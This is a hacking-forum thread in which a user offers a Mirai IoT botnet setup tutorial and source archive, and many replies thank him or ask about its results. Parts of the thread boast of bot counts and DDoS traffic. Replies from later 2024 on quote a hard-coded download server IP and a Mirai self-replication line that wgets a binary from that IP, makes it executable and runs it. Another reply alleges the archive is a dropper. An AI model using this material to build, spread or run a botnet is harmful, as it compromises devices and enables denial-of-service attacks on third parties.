

Forum:[Hack Forums](#)

Thread: [\[TUT\] How to Setup Mirai Botnet works 100%](#)

Prix1337 - October 18, 2023, 5:25 am

Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.

Under review by staff :

<https://hackforums.net/showthread.php?tid=6254162&pid=62446606#pid62446606>

BiNBo - October 18, 2023, 6:25 am

Links to a passworded rar directory, 97% of scans come back clean, but I am showing a few hashes flagged as "suspicious" by one oddball AV, so easily could be a false positive, but could also possibly indicate a well packed surprise (can't say either way at this time). As always use your own discretion. I can't speak to the material inside as far as the content. If anyone would like the hybrid analysis results just shoot me a PM.

Thanks for the share OP.

Prix1337 - October 18, 2023, 7:37 am

(Oct 18, 2023 06:25 AM)BiNBo Wrote: [\[CITE\]](#) Links to a passworded rar directory, 97% of scans come back clean, but I am showing a few hashes flagged as "suspicious" by one oddball AV, so easily could be a false positive, but could also possibly indicate a well packed surprise (can't say either way at this time). As always use your own discretion. I can't speak to the material inside as far as the content. If anyone would like the hybrid analysis results just shoot me a PM.

Thanks for the share OP.

Use at your own risk the actual file is how to setup.txt how to install any mirai bot with the latest drivers. A Mirai version is included for free to test this out. Should work, there are no backdoors

hunterpowell - October 19, 2023, 1:06 pm

Will definitely try out, thank you!

Finity - October 21, 2023, 2:20 pm

Why on earth are we reposting this 7 years later?

Kayfoxz - October 21, 2023, 2:39 pm

(Oct 21, 2023 02:20 PM)Finity Wrote: [\[CITE\]](#) Why on earth are we reposting this 7 years later? It's ok, right before this he made a post asking why his domains keep getting shutdown (spamhaus/DMCA I guess) bc of Mirai, I'm sure he knows what hes doing! :) this was sarcasm.

Finity - October 21, 2023, 3:19 pm

(Oct 21, 2023 02:39 PM)Kayfoxz Wrote: [\[CITE\]](#) It's ok, right before this he made a post asking why his domains keep getting shutdown (spamhaus/DMCA I guess) bc of Mirai, I'm sure he knows what hes doing! :) this was sarcasm.

Oh don't worry, I commented on that as well. Wondering why a 7 year old malware got picked up is

mind blowing.

xlax - October 24, 2023, 7:45 pm

thx for the post, I've been trying to figure it out

nndoggo - October 25, 2023, 4:04 am

(Oct 21, 2023 03:19 PM)Finity Wrote: [\[CITE\]](#) Oh don't worry, I commented on that as well. Wondering why a 7 year old malware got picked up is mind blowing. almost 8 yrs

Mr. Corleone - October 25, 2023, 4:59 am

You say there's no backdoors, but where did you get the mirai src from?
What if your stupid ass downloaded an infected version?

Finity - October 25, 2023, 5:06 pm

(Oct 25, 2023 04:59 AM)Mr. Corleone Wrote: [\[CITE\]](#) You say there's no backdoors, but where did you get the mirai src from?

What if your stupid ass downloaded an infected version?

If he downloaded a source and didn't bother checking for back doors when the source is literally public, that's on him. Highly doubt that though.

(Oct 25, 2023 04:04 AM)nndoggo Wrote: [\[CITE\]](#) almost 8 yrs
Not for around another 6 months or so at least.

Prix1337 - October 26, 2023, 9:07 pm

(Oct 25, 2023 04:59 AM)Mr. Corleone Wrote: [\[CITE\]](#) You say there's no backdoors, but where did you get the mirai src from?

What if your stupid ass downloaded an infected version?

show me the backdoor I checked the source code. There is 100% no backdoor

nate98252 - October 27, 2023, 3:44 pm

yo how easy is the setup?

bukkylove2k2 - October 27, 2023, 7:19 pm

This should be interesting

nitemike - November 2, 2023, 10:33 am

This should be interesting

crackercc - November 17, 2023, 1:50 pm

Thank you bro its very good bot

kph0912 - December 3, 2023, 6:55 pm

thanks for tut.

i will try this

MRXx7 - December 3, 2023, 8:57 pm

Thanks for sharing this !!!

Staid - December 4, 2023, 9:44 am

Thanks for sharing, will give it a try.

gangushbo - December 11, 2023, 10:45 am

Mirai still exists out there? have read some horrible stories about it

RaNsoMwAre cc - December 12, 2023, 1:18 am

I think this is gonna be interesting to read

Yodawarrior2 - December 17, 2023, 5:03 am

(Dec 12, 2023 02:18 AM)RaNsOMwAre cc Wrote: [\[CITE\]](#) I think this is gonna be interesting to read LQ as fk, don't bother posting next time

hannes.zaiser - December 18, 2023, 8:21 am

This should be interesting

nogayhan - December 18, 2023, 11:06 pm

Information that can be found with a short research

CryptedNetwork - December 23, 2023, 2:29 pm

I appreciate this post, thank you.

Zerofive05 - December 24, 2023, 8:46 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
I don't know u can see tutorial in YouTube bro

zad5 - December 24, 2023, 2:53 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
damn, that's sick

ahaz94 - December 29, 2023, 1:53 pm

This should be interesting

nemil - January 26, 2024, 6:08 am

Mirai is not dead. Get katana version botnet by vega. It still has incredible spreading methods, vega made exploit for spreading the only problem is that when scanner is on vps in unusable and you get banned in 5-6 days but you can easily get 200-300 bots per 24H. With 1000 bots you can make 2-3 tbps traffic. I have lost my source and one you find online is not working.

Ccbfwsff - January 27, 2024, 4:11 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
[warn]

uptown punk - January 28, 2024, 1:28 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Thanks

[warn]

Teishebi - January 30, 2024, 9:40 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
??????? ?????

swrdup - January 31, 2024, 10:00 pm

This should be interesting

pinguoin - January 31, 2024, 10:42 pm

well interesting but thats too much for me

Blowtails313 - February 6, 2024, 12:30 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.

Diameter1 - February 7, 2024, 9:50 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
I hope is worth

neet505 - February 10, 2024, 4:43 pm

will try it to fun lets see

semendemon - February 11, 2024, 11:28 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
thank you!

o5tdev - February 14, 2024, 3:19 am

?????

pwr43nd37 - February 14, 2024, 12:00 pm

Ty for share, this definitely will be interesting

Cvike - February 14, 2024, 1:58 pm

will try ty for sharing this

Nemesis69 - February 17, 2024, 3:59 pm

sounds very cool. how do i save bytes?
unfortunately i need some more bytes

kelsarock32 - February 20, 2024, 2:45 pm

do people still get good results with mirai?

Prix1337 - February 20, 2024, 3:53 pm

(Feb 20, 2024 03:45 PM)kelsarock32 Wrote: [\[CITE\]](#) do people still get good results with mirai?
me yes lol

kelsarock32 - February 20, 2024, 5:59 pm

(Feb 20, 2024 04:53 PM)Prix1337 Wrote: [\[CITE\]](#) me yes lol
do they often get banned? back in the day we had issues with lots of downtime

Prix1337 - February 21, 2024, 6:07 am

(Feb 20, 2024 06:59 PM)kelsarock32 Wrote: [\[CITE\]](#) do they often get banned? back in the day we had issues with lots of downtime
no they dont get banned I have bulletproof server my servers cant get down

SIM-5186353 - February 22, 2024, 6:55 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Thanks ??

Axceria - February 25, 2024, 12:30 am

This would be an interesting read, thanks!

mynameisoxana - February 25, 2024, 9:09 am

thx u man, good info 4 lamers))))))))

LogicDMZ - February 25, 2024, 11:25 pm

thanks myy guy really need this

VladSpoke - February 29, 2024, 4:42 pm

black respct, dode
god repos

Raider Bot - March 4, 2024, 2:53 pm

Will definitely try out, thank you!

medusa101x - March 8, 2024, 4:33 pm

This should be interesting

linkingboy - March 9, 2024, 6:03 pm

(Oct 18, 2023 07:37 AM)Prix1337 Wrote: [\[CITE\]](#) Use at your own risk the actual file is how to setup.txt how to install any mirai bot with the latest drivers. A Mirai version is included for free to test this out. Should work, there are no backdoors

Use at your own risk the actual file is how to setup.txt how to install any mirai bot with the latest drivers. A Mirai version is included for free to test this out. Should work, there are no backdoors

fahrenheit451 - March 10, 2024, 9:22 am

Should be interesting

JoeFR - March 18, 2024, 1:28 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
thx

dzig - March 18, 2024, 3:58 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.

silverbear - March 19, 2024, 9:15 am

Thanks?

muyunus - March 19, 2024, 11:17 pm

thanks my friend. im download thanks

Plugtoes - March 21, 2024, 4:40 am

[quote="Prix1337" pid='62144519' dateline='1697631935'] Voici un tutoriel sur la façon d'installer le Botnet Mirai. Le problème avec tous les autres tutoriels est que les pilotes sont obsolètes et ne fonctionnent plus, c'est pourquoi il y a toujours des messages d'erreur lors de la compilation ou le botnet ne démarre même pas. Si vous avez des questions ou des problèmes, il vous suffit de les poster ici dans le fil de discussion. [/citation]

Thanks for thé post m'y brother

ck31337 - March 21, 2024, 1:13 pm

posting to see this outdated botnet

m8500nd - March 22, 2024, 10:09 am

I'm curious whats different

oyquan - March 27, 2024, 2:20 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Frrrrrr

tiltienvy - March 29, 2024, 10:08 am

thanks my brotha will try it out

qwertyhfproton - April 1, 2024, 4:50 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Thanks!

Garslaxiste - April 2, 2024, 8:20 am

Thanks for sharing this TUT??

hamid-pve - April 3, 2024, 5:31 am

Will definitely try out, thank you!

makvanpor - April 3, 2024, 8:37 am

can anybody help me i cant seems to be able to download yet

CalvinST03 - April 3, 2024, 8:48 am

This should be possible. thank you

md5hashguy - April 6, 2024, 11:51 am

wtf is the point of this lmao??

jusufd - April 13, 2024, 6:01 am

This should be interesting

b0ngr1p - April 14, 2024, 7:02 pm

This should be interesting

Soncraft - April 21, 2024, 5:58 am

thanks for the tuto sdfsdfaaa

culicum - April 21, 2024, 3:10 pm

This should be interesting

Megamindo - April 28, 2024, 2:59 am

havent used mirai in a long time but ill have a gander, thanks mate.

bibak - April 28, 2024, 3:38 am

thanks for the
good

EMMEKTHEBEST - April 29, 2024, 7:16 am

i sad because i don't have enough bytez :(

illcapo - April 30, 2024, 3:45 pm

This should be interesting

kenzorskr - May 1, 2024, 6:37 am

im a begginer in all of this botnets things

jsonborne - May 4, 2024, 2:27 pm

can't wait to get this going brother

KING_AYRII - May 4, 2024, 3:52 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Nice, let me test :)

burpkuin - May 5, 2024, 7:37 pm

thanks bro im testing

alexandrudx - May 6, 2024, 7:01 pm

tyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

resetti - May 8, 2024, 3:13 am

cannot believe so many people are replying to this thread

this is 8+ year old malware

Perfect - May 11, 2024, 12:27 am

(May 4, 2024 02:27 PM)jsonborne Wrote: [\[CITE\]](#) can't wait to get this going brother
So what salty multi are you ?

Tabor - May 17, 2024, 11:53 pm

i think it's need to more people's...

rrockobooking - May 19, 2024, 3:19 pm

Hmmm i wonder if this is a good option

Camocody - May 23, 2024, 10:03 pm

tyyy [warn]

hajredinmuraba - May 26, 2024, 7:09 pm

thanks my friend. im download thanks

sachinnagar840119 - June 1, 2024, 7:34 am

Thanks OP lets try this out

adminww123 - June 3, 2024, 7:40 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
thanks?

brownie2134 - June 4, 2024, 10:11 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
thanks for the tutorial

datacenter368 - June 5, 2024, 7:16 am

thanks for the tutorial

C00IBXS - June 19, 2024, 10:13 am

Will definitely try out, thank you!

Migmart - June 25, 2024, 10:33 pm

There is 100% no backdoor

EVRA - June 30, 2024, 3:32 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.

I love you OP

teleloo - July 3, 2024, 6:16 am

Will definitely try out, thank you!

hahakuo - July 8, 2024, 9:22 am

Can this still be used after such a long time?

int main() - July 13, 2024, 1:37 pm

(Jan 26, 2024 07:08 AM)nemil Wrote: [\[CITE\]](#) Mirai is not dead. Get katana version botnet by vega. It still has incredible spreading methods, vega made exploit for spreading the only problem is that when scanner is on vps in unusable and you get banned in 5-6 days but you can easily get 200-300 bots per 24H. With 1000 bots you can make 2-3 tbps traffic. I have lost my source and one you find online is not working.

Lol 2-3 tbps of traffic from 1000 IoT devices, i want that crack you are smoking, largest attack when mirai was still used privately was no more than 900 gbps

incognitoaraah - July 16, 2024, 2:37 pm

Will definitely try out, thank you!

manoftheword - July 17, 2024, 7:27 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.

hmm [warn]

badopspecstudent - July 19, 2024, 3:36 pm

thx for tuto man <3 great

fuatreis5353 - July 20, 2024, 12:03 am

thanks bro man sigma hackforums linux botnet

wasgucci - July 22, 2024, 9:09 pm

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
niceeeee

Arkosa - July 28, 2024, 6:29 am

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) Here is a tutorial on how to install the Mirai Botnet. The problem with all the other tutorials is that the drivers are outdated and no longer work, which is why there are always error messages when compiling or the botnet doesn't even start.

If you have any questions or problems, just post them here in the thread.
Ca a l'aire bon! j'ai hate de test car plusieurs tuto ne fonctionne plus... [warn]

aymenux - July 28, 2024, 8:35 am

Oh Thats Great I Hope It's Workiinng
I'm Very Begginer And I'm New To Hacking But How Can I Setup Mirai Botnet

15khud3 - July 28, 2024, 8:45 am

This is actually a dropper, was found at

C:\Users\user1\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\90ba67cc-a5ae-4da8-a778-8ce2bd2e63a4.bin with the related process Notepad.exe running from the WindowsApps directory. Droppers are particularly dangerous as they initiate multi-stage attacks by installing additional malware. In this case, it masquerades as Notepad to evade detection. Users should quarantine the files and processes and run an antivirus scan to ensure system safety. Keeping software up-to-date is also important to prevent future infections.

Bastille - July 30, 2024, 11:41 pm

(Oct 18, 2023 06:25 AM)BiNBo Wrote: [\[CITE\]](#) ...As always use your own discretion. I can't speak to the material inside as far as the content. If anyone would like the hybrid analysis results just shoot me a PM.

(Oct 18, 2023 07:37 AM)Prix1337 Wrote: [\[CITE\]](#) Use at your own risk the actual file is how to setup.txt how to install any mirai bot with the latest drivers. A Mirai version is included for free to test this out. Should work, there are no backdoors

(Oct 25, 2023 04:59 AM)Mr. Corleone Wrote: [\[CITE\]](#) You say there's no backdoors, but where did you get the mirai src from?

What if your stupid ass downloaded an infected version?

(Oct 26, 2023 09:07 PM)Prix1337 Wrote: [\[CITE\]](#) show me the backdoor I checked the source code. There is 100% no backdoor

There is definitely something sketchy.

The tutorial gives us few step to follow, some of them are not doable, such as :

Code go to huawei.c and jaws.c

search for subdomain.domain and replace it with your domain.

These settings cannot be changed, "subdomain.domain" is not present.

The next weird element that I found is an IP which is hard-coded. Comparing to other tutorials available, especially on Github, you can see the difference for the dlr/main.c file

Quote:Github version :

```
#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP
```

Quote: Prix1337 version :

```
#define HTTP_SERVER utils_inet_addr(91,122,37,169)
```

This code (main.c) is automatically executed, the path is the following :

User read the tutorial.txt > The tutorial asks to execute build.sh > Then "build.sh" automatically executes "main.c"

This IP address is present few times and often download and executes files from it after changing its permissions. For example, from the file bot/huawei.c :

```
Code wget -g 91.122.37.169 -l /tmp/.hiroshima -r  
/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox  
chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)
```

This IP has been reported several times for being malicious, hosted in Russia :

<https://www.abuseipdb.com/check/91.122.37.169>

(Oct 18, 2023 05:25 AM)Prix1337 Wrote: [\[CITE\]](#) If you have any questions or problems, just post them here in the thread.

Can you tell me why did you hard-coded this IP address ? What are the files downloaded from this server ?

Mr. Corleone - August 7, 2024, 12:22 pm

Well, well, well.. Nice find Bastille.

Shouldn't the ban hammer be incoming?

Its obvious why he hard coded the IP address..

I'd like to help with reverse engineering this further but the files and tutorial seem to be gone anyway.

k r o n o s - August 7, 2024, 2:34 pm

If I'm not mistaken, most outdated Mirai builds use hardcoded IP addresses for the selfrep. It was not developed well, originally.

To his defense, "91.122.37.169" seems to be just a leftover IP address.

Code #define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP
Clearly states, "CHANGE TO YOUR HTTP SERVER IP"

Therefor results in:

```
Code #define HTTP_SERVER utils_inet_addr(91,122,37,169)  
Futhermore,  
Code wget -g 91.122.37.169 -l /tmp/.hiroshima -r  
/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox  
chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)This is simply telling the bot  
(bot/huawei.c) to download + execute the bin, with the parameter "huawei.selfrep" which names the  
bot "huawei.selfrep" under "bots/botcount".
```

This may also enable selfrep for the bot, however, I may be wrong as it has been a while since I've looked through Mirai.

You are not supposed to execute the bin for the bot, unless you are debugging. It's no different than running the build of a RAT, you are going to infect yourself.

As per the screenshot for malicious usage under the IP address, well that's a given, considering the IP address given was obviously being used for scanning/spreading.

The files it is executing are built once you compile everything in /bot/

The OP obviously did not write a thorough explanation of his installation guide, which seems to have may have cause some confusion, such as "subdomain.domain".

I did not read everything nor the entire thread, just putting in my thoughts.

Please do note, I am not saying this is not infected. I am only responding to what evidence was shown.

Bastille - August 8, 2024, 2:38 am

(Aug 7, 2024 12:22 PM)Mr. Corleone Wrote: [\[CITE\]](#) Well, well, well.. Nice find Bastille. Shouldn't the ban hammer be incoming?

Its obvious why he hard coded the IP address..

I'd like to help with reverse engineering this further but the files and tutorial seem to be gone anyway.

That's what I'm thinking too, changing IP addresses and domain names are important steps, weird that OP "forgot" to mention them in the tutorial.

I'm waiting for his reply, in case it needs further investigation I'll share you the files if you want to take a look, thanks for the proposal

(Aug 7, 2024 02:34 PM)Boatnet Wrote: [\[CITE\]](#) If I'm not mistaken, most outdated Mirai builds use hardcoded IP addresses for the selfrep. It was not developed well, originally.

To his defense, "91.122.37.169" seems to be just a leftover IP address.

Code `#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP`
Clearly states, "CHANGE TO YOUR HTTP SERVER IP"

Therefor results in:

Code `#define HTTP_SERVER utils_inet_addr(91,122,37,169)`

I found few tutorials on Github which are 6 to 8 years old and all of them mention to change the IP address, the file containing the IP to configure is set to "127.0.0.1" on the Github versions, so these sound more legit. Changing the IP addresses are importants steps, weird that OP "forgot" about it.

(Aug 7, 2024 02:34 PM)Boatnet Wrote: [\[CITE\]](#) Futhermore,

Code `wget -g 91.122.37.169 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)` This is simply telling the bot (bot/huawei.c) to download + execute the bin, with the parameter "huawei.selfrep" which names the bot "huawei.selfrep" under "bots/botcount".

This may also enable selfrep for the bot, however, I may be wrong as it has been a while since I've looked through Mirai.

You are not supposed to execute the bin for the bot, unless you are debugging. It's no different than running the build of a RAT, you are going to infect yourself.

As per the screenshot for malicious usage under the IP address, well that's a given, considering the IP address given was obviously being used for scanning/spreading.

The files it is executing are built once you compile everything in /bot/

I don't see any "huawei.c" files or other files downloaded by [Prix1337](#) tutorial version in the Github versions, besides I'm wondering why he decided to drop these files from a server behind an IP

address has been flagged as malicious instead of putting the files directly in the folder he shared, that's weird.

(Aug 7, 2024 02:34 PM)Boatnet Wrote: [\[CITE\]](#) The OP obviously did not write a thorough explanation of his installation guide, which seems to have may have cause some confusion, such as "subdomain.domain".

I did not read everything nor the entire thread, just putting in my thoughts.
Please do note, I am not saying this is not infected. I am only responding to what evidence was shown.

Yeah few steps are missing, I just took a quick look and these artifacts are the ones that came quickly to my eyes, I'm waiting for OP answer and I'll take a deeper look if needed.

Thanks for you share, I appreciate any review, nice to talk about technical stuff with other members.

Let's see what OP says

Prix1337 - January 6, 2025, 3:57 pm

(Jul 30, 2024 11:41 PM)Bastille Wrote: [\[CITE\]](#)

There is definitely something sketchy.

The tutorial gives us few step to follow, some of them are not doable, such as :

Code go to huawei.c and jaws.c
search for subdomain.domain and replace it with your domain.
These settings cannot be changed, "subdomain.domain" is not present.

The next weird element that I found is an IP which is hard-coded. Comparing to other tutorials available, especially on Github, you can see the difference for the dlr/main.c file

This code (main.c) is automatically executed, the path is the following :
User read the tutorial.txt > The tutorial asks to execute build.sh > Then "build.sh" automatically executes "main.c"

This IP address is present few times and often download and executes files from it after changing its permissions. For example, from the file bot/huawei.c :

Code wget -g 91.122.37.169 -l /tmp/.hiroshima -r
/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox
chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)

This IP has been reported several times for being malicious, hosted in Russia :

<https://www.abuseipdb.com/check/91.122.37.169>

Can you tell me why did you hard-coded this IP address ? What are the files downloaded from this

server ?

hey yes they are hard coded IP addresses you have to change them all thats normal. If you understand something about coding so its easy. huawei.c and jaws is a selfrep that means the bot will scan to get new bots and exploit them to download the bin and execute it. ofc you have to replace it with your bin server IP and also you have to encrypt new xor Domains and IP from table.c did you read my tutorial ?

hunteralex - January 15, 2025, 4:12 am

Im working on the mirai botnet and cowrie (honeypot) and snort(intrusion detection system) to see how they can mitigate the botnet when it gets into a network and prevent further attacks. I have already got mirai botnet working by using a repo on github but need help with configuring cowrie . Would anyone be able to help? Thanks

markymarkydota2016 - February 27, 2025, 11:19 pm

Is this still working?

adaddddzz - March 27, 2025, 11:55 am

thanks man , you help me

xmaxx - March 29, 2025, 4:55 pm

(Aug 7, 2024 02:34 PM)k r o n o s Wrote: [\[CITE\]](#) If I'm not mistaken, most outdated Mirai builds use hardcoded IP addresses for the selfrep. It was not developed well, originally.

To his defense, "91.122.37.169" seems to be just a leftover IP address.

Code `#define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP`
Clearly states, "CHANGE TO YOUR HTTP SERVER IP"

Therefor results in:

Code `#define HTTP_SERVER utils_inet_addr(91,122,37,169)`

Futhermore,

Code `wget -g 91.122.37.169 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep` This is simply telling the bot (bot/huawei.c) to download + execute the bin, with the parameter "huawei.selfrep" which names the bot "huawei.selfrep" under "bots/botcount".

This may also enable selfrep for the bot, however, I may be wrong as it has been a while since I've looked through Mirai.

You are not supposed to execute the bin for the bot, unless you are debugging. It's no different than running the build of a RAT, you are going to infect yourself.

As per the screenshot for malicious usage under the IP address, well that's a given, considering the IP address given was obviously being used for scanning/spreading.

The files it is executing are built once you compile everything in /bot/

The OP obviously did not write a thorough explanation of his installation guide, which seems to have may have cause some confusion, such as "subdomain.domain".

I did not read everything nor the entire thread, just putting in my thoughts.

Please do note, I am not saying this is not infected. I am only responding to what evidence was shown.

nice TuT Easy thank you ?

FijiXXS - April 2, 2025, 4:24 pm

interesting going to check this out

Shrdw - April 5, 2025, 5:26 pm

I was surprised to see how far this has come though its sad at the same time because Internet of things security is still a joke. They brought my company in and we found that most still used default passwords and where infected.

The most amazing thing we found was malware running over Internet Relay Chat using actual encryption not base 64 encoding. Thought this had died out long ago but a few APT groups are using it but we could to tie this loader to any known APT.

From what we could tell was they used bits from mirai among other iot malware even a hacked together buggy mess still works. The encryption is what surprised my team was we where only able to get it working after rewriting ngircd to work properly with the loader.

It seemed like a trial run and we have not been able to find it anywhere else outside of this clients network. Ever evolving it seems

Toss - April 5, 2025, 6:20 pm

nice way to grave dig an old tutorial

Shrdw - April 5, 2025, 8:13 pm

(Apr 5, 2025 06:20 PM)Toss Wrote: [\[CITE\]](#) nice way to grave dig an old tutorial

The fact this is still being used is interesting all the same and Most of the recent comments where this year i doubled checked again after i responded to your comment.

I don't like grave digging unless i can add relevance to the initial post or if its been updated in the last month.

joes - April 8, 2025, 4:28 pm

is it still working like the telnet exploits

m0narch - May 18, 2025, 8:42 am

(Aug 7, 2024 02:34 PM)k r o n o s Wrote: [\[CITE\]](#) If I'm not mistaken, most outdated Mirai builds use hardcoded IP addresses for the selfrep. It was not developed well, originally.

To his defense, "91.122.37.169" seems to be just a leftover IP address.

Code #define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP
Clearly states, "CHANGE TO YOUR HTTP SERVER IP"

Therefor results in:

Code #define HTTP_SERVER utils_inet_addr(91,122,37,169)

Futhermore,

Code wget -g 91.122.37.169 -l /tmp/.hiroshima -r
/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox
chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)This is simply telling the bot
(bot/huawei.c) to download + execute the bin, with the parameter "huawei.selfrep" which names the
bot "huawei.selfrep" under "bots/botcount".

This may also enable selfrep for the bot, however, I may be wrong as it has been a while since I've looked through Mirai.

You are not supposed to execute the bin for the bot, unless you are debugging. It's no different than running the build of a RAT, you are going to infect yourself.

As per the screenshot for malicious usage under the IP address, well that's a given, considering the IP address given was obviously being used for scanning/spreading.

The files it is executing are built once you compile everything in /bot/

The OP obviously did not write a thorough explanation of his installation guide, which seems to have may have cause some confusion, such as "subdomain.domain".

I did not read everything nor the entire thread, just putting in my thoughts.

Please do note, I am not saying this is not infected. I am only responding to what evidence was shown.

